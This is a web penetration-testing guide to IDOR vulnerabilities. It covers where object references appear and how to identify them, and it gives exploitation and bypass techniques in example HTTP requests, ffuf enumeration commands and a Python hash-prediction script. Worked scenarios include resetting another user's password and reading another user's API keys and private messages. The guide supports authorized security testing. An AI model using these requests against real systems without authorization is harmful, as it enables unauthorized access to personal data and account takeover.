Exploitation A01

IDOR (Insecure Direct Object References)

IDOR vulnerabilities occur when an application exposes internal implementation objects to users, allowing attackers to access or modify resources belonging to other users. This guide covers detection methods, exploitation techniques, and bypass strategies.

Why IDOR Matters

IDOR is one of the most common and impactful web vulnerabilities. It can lead to unauthorized access to sensitive data, account takeover, and privilege escalation. Despite being conceptually simple, IDOR vulnerabilities are frequently found in production applications because developers often rely solely on authentication rather than proper authorization checks.

Warning

Testing for IDOR may access other users' data. Always use dedicated test accounts and have proper authorization before testing in production environments.

Tools & Resources

Autorize

Burp extension for authz testing

BApp Store GitHub →

AuthMatrix

Multi-user authorization testing

BApp Store GitHub →

Burp Intruder

Built-in ID enumeration

Burp Suite Website →

ffuf

Fast fuzzer for ID enumeration

apt install ffuf GitHub →

OWASP ZAP

Automated access control testing

apt install zaproxy Website →

Match and Replace

Burp built-in for ID swapping

Proxy → Options Docs →

Understanding IDOR

IDOR occurs when applications use user-controllable input to directly access objects without verifying if the current user is authorized to access that specific resource.

IDOR Types

Horizontal IDOR

Access data of users at the same privilege level

/api/user/123 → /api/user/456

Vertical IDOR

Access data of higher privilege users/functions

/api/user/123 → /api/admin/1

Common IDOR Locations

URL Parameters

url-parameters.txt
plaintext
# User profiles
/profile?id=1234
/user/1234/settings
/account/view/1234

# Orders and transactions
/order/details?orderId=5678
/invoice/download/5678
/receipt/5678

# Documents and files
/document/view/9012
/file/download?fileId=9012
/attachment/9012

# Messages and communications
/message/inbox/3456
/chat/conversation/3456
/notification/3456

# API endpoints
/api/v1/users/1234
/api/v1/orders/5678
/api/v1/reports/9012

Request Body Parameters

body-parameters.txt
plaintext
# JSON body
POST /api/user/update
{"userId": 1234, "email": "test@test.com"}

# Form data
POST /profile/edit
user_id=1234&name=attacker

# GraphQL
POST /graphql
{"query": "mutation { updateUser(id: 1234, email: "test@test.com") }"}

# XML
POST /api/order
<order><userId>1234</userId><item>product</item></order>

Headers and Cookies

headers-cookies.txt
plaintext
# Custom headers
X-User-Id: 1234
X-Account-Id: 5678
X-Org-Id: 9012

# Cookies
Cookie: userId=1234; sessionId=abc123
Cookie: accountRef=base64(1234)

# JWT claims (if manipulable)
Authorization: Bearer eyJ...{"sub": "1234", "role": "user"}...

Identification Techniques

Step 1: Map the Application

mapping.txt
plaintext
# Identify all endpoints with object references
# Look for patterns like:
- /resource/{id}
- /resource?id={id}
- /resource/{id}/action

# Record your user's IDs for:
- User account ID
- Order/transaction IDs
- Document/file IDs
- Organization/team IDs
- Message/conversation IDs

# Create a second test account
# Record all IDs for comparison

Step 2: Identify Reference Types

Common ID Formats

Type Example Attack Vector
Sequential Integer 1, 2, 3, 4 Increment/decrement
UUID 550e8400-e29b-... Leaked in responses/logs
Encoded MTIzNA== (base64) Decode, modify, re-encode
Hashed a665a45920422f9d... Rainbow tables, predictable input
Composite USER_123_ORDER_456 Modify individual components
Timestamp-based 1701234567890 Predict based on creation time

Exploitation Techniques

Basic ID Manipulation

basic-manipulation.sh
bash
# Your request
GET /api/user/123/profile HTTP/1.1
Authorization: Bearer your_token

# Modify to target another user
GET /api/user/124/profile HTTP/1.1
Authorization: Bearer your_token

# Enumerate IDs with Burp Intruder
# Positions: GET /api/user/§123§/profile
# Payload: Numbers 1-1000

# Using ffuf
ffuf -u "https://target.com/api/user/FUZZ/profile" \
  -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt \
  -H "Authorization: Bearer your_token" \
  -mc 200

Encoded ID Manipulation

encoded-ids.sh
bash
# Base64 encoded IDs
# Original: /download?file=dXNlci8xMjMvcmVwb3J0LnBkZg==
# Decoded: user/123/report.pdf

# Modify and re-encode
echo -n "user/456/report.pdf" | base64
# Result: dXNlci80NTYvcmVwb3J0LnBkZg==

# New request
GET /download?file=dXNlci80NTYvcmVwb3J0LnBkZg==

# Hex encoded
# Original: 7573657231323334 (user1234)
# Target: 7573657234353637 (user4567)

# URL encoded
# Original: user%2F123
# Target: user%2F456

Predictable Hash IDs

hash-prediction.py
python
# If IDs are hashed predictably (e.g., MD5 of sequential numbers)
import hashlib

# Generate potential IDs
for i in range(1000):
    hash_id = hashlib.md5(str(i).encode()).hexdigest()
    print(f"{i}: {hash_id}")

# Or if hash is based on email/username
target_email = "admin@company.com"
target_hash = hashlib.md5(target_email.encode()).hexdigest()
print(f"Target ID: {target_hash}")

Parameter Pollution

parameter-pollution.http
http
# HTTP Parameter Pollution (HPP)
# Original
GET /api/user?id=123

# Try adding duplicate parameters
GET /api/user?id=123&id=456
GET /api/user?id=456&id=123

# Array notation
GET /api/user?id[]=123&id[]=456
GET /api/user?id=123,456

# Different parameter names
GET /api/user?id=123&user_id=456&userId=789

# Mixed case
GET /api/user?ID=456&id=123

JSON Parameter Manipulation

json-manipulation.json
json
# Original request
POST /api/profile/update HTTP/1.1
Content-Type: application/json

{
  "email": "my@email.com"
}

# Add userId parameter
{
  "userId": 456,
  "email": "my@email.com"
}

# Try different parameter names
{
  "user_id": 456,
  "id": 456,
  "uid": 456,
  "userID": 456,
  "account_id": 456,
  "email": "my@email.com"
}

# Nested objects
{
  "user": {"id": 456},
  "email": "my@email.com"
}

Bypass Techniques

Wildcard and Negative Values

wildcard-bypass.http
http
# Try wildcard values
GET /api/user/*/profile
GET /api/user/all/profile

# Negative values
GET /api/user/-1/profile
GET /api/user/0/profile

# Very large numbers
GET /api/user/999999999/profile

# Null values
GET /api/user/null/profile
GET /api/user/undefined/profile

# Special strings
GET /api/user/self/profile
GET /api/user/me/profile
GET /api/user/current/profile

HTTP Method Tampering

method-tampering.http
http
# If GET is blocked, try other methods
GET /api/user/456 → 403 Forbidden

# Try these alternatives
POST /api/user/456
PUT /api/user/456
PATCH /api/user/456
DELETE /api/user/456
OPTIONS /api/user/456
HEAD /api/user/456

# Method override headers
GET /api/user/456
X-HTTP-Method-Override: PUT
X-Method-Override: PUT
X-HTTP-Method: PUT

Path Traversal in IDs

path-traversal-ids.http
http
# If IDs are used in file paths
GET /api/user/123/document/report.pdf

# Try path traversal
GET /api/user/123/../456/document/report.pdf
GET /api/user/123/document/../../../456/document/report.pdf

# URL encoding
GET /api/user/123%2f..%2f456/document/report.pdf

Blind IDOR Detection

blind-idor.txt
plaintext
# When you can't see the response content directly

# Check for response time differences
# Valid ID: 200ms
# Invalid ID: 50ms

# Check HTTP status codes
# Your ID: 200 OK
# Other user's ID (no access): 403 Forbidden
# Non-existent ID: 404 Not Found
# Accessible other ID: 200 OK (IDOR!)

# Check response size differences
# Your profile: 2048 bytes
# Other profile with different data: 1856 bytes (IDOR!)

# Error message differences
{"error": "User not found"}  # Non-existent
{"error": "Access denied"}   # Exists but no access
{"data": {...}}              # IDOR - got the data!

Automated Testing with Autorize

autorize-setup.txt
plaintext
# Autorize Burp Extension Setup

1. Install Autorize from BApp Store

2. Configure low-privilege user cookie:
   - Browse app as low-priv user
   - Copy session cookie to Autorize

3. Browse app as high-priv user:
   - Autorize replays requests with low-priv cookie
   - Highlights authorization bypasses

# Results interpretation:
# GREEN: Request blocked (secure)
# RED: Request allowed (IDOR/Authz bypass!)
# YELLOW: Different response (investigate)

# Best practices:
- Test both horizontal (same role, diff user)
- Test vertical (low priv → high priv functions)
- Test unauthenticated access (remove cookie entirely)

Real-World IDOR Scenarios

Password Reset IDOR

password-reset-idor.json
json
# Password reset flow
POST /api/password/reset
{"userId": 123, "newPassword": "hacked123"}

# Change userId to target account
{"userId": 456, "newPassword": "hacked123"}

Invoice/Receipt Download

invoice-idor.sh
bash
# Download your invoice
GET /api/invoice/download/INV-2024-0001.pdf

# Access others' invoices
GET /api/invoice/download/INV-2024-0002.pdf
GET /api/invoice/download/INV-2024-0000.pdf  # First invoice ever?

# Enumerate all invoices
for i in range(1, 10000):
    url = f"https://target.com/api/invoice/download/INV-2024-{i:04d}.pdf"

API Key IDOR

apikey-idor.http
http
# Get your API keys
GET /api/settings/apikeys?userId=123

# Get another user's API keys
GET /api/settings/apikeys?userId=456

# Or in GraphQL
query {
  user(id: "456") {
    apiKeys {
      key
      secret
    }
  }
}

Chat/Message IDOR

message-idor.http
http
# View your conversations
GET /api/conversations/CONV123

# Access private conversations
GET /api/conversations/CONV124
GET /api/conversations/CONV125

# Read private messages
GET /api/messages?conversationId=CONV456

Testing Checklist

🔍 Discovery

  • Map all endpoints with object references
  • Create 2+ test accounts for comparison
  • Record all ID types (user, order, etc.)
  • Check URL params, body, headers, cookies
  • Look for leaked IDs in responses

🔄 Testing

  • Swap IDs between accounts (horizontal)
  • Try admin/elevated IDs (vertical)
  • Test GET, POST, PUT, DELETE methods
  • Try encoded/hashed ID manipulation
  • Use Autorize for comprehensive testing

🔓 Bypass Attempts

  • Parameter pollution
  • HTTP method override
  • Wildcard and special values
  • Path traversal in IDs
  • JSON body parameter injection

📝 Impact Assessment

  • Data exposed (PII, financial, medical)
  • Actions possible (modify, delete)
  • Scale of enumeration possible
  • Account takeover potential
  • Business logic abuse

Practice Labs